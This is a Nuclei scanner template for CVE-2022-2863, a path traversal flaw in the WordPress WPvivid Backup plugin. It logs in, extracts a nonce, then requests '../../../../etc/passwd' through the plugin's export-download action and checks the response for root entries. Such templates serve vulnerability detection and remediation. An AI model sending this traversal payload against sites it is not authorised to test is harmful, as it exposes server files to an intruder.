id: CVE-2022-2863

info:
  name: WordPress WPvivid Backup < 0.9.76 - Local File Inclusion
  author: tehtbl
  severity: medium
  description: The plugin does not sanitise and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server via a Traversal attack.
  reference:
    - https://seclists.org/fulldisclosure/2022/Oct/0
    - https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2863
    - http://packetstormsecurity.com/files/168616/WordPress-WPvivid-Backup-Path-Traversal.html
  remediation: Upgrade to version 0.9.76 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2022-2863
    cwe-id: CWE-22
  tags: wp,wpscan,seclists,packetstorm,authenticated,cve,cve2022,lfi,wordpress,wp-plugin

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=WPvivid HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922 HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/wp-admin/admin.php?page=WPvivid

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"_ajax_nonce":"([0-9a-z]+)"'
        internal: true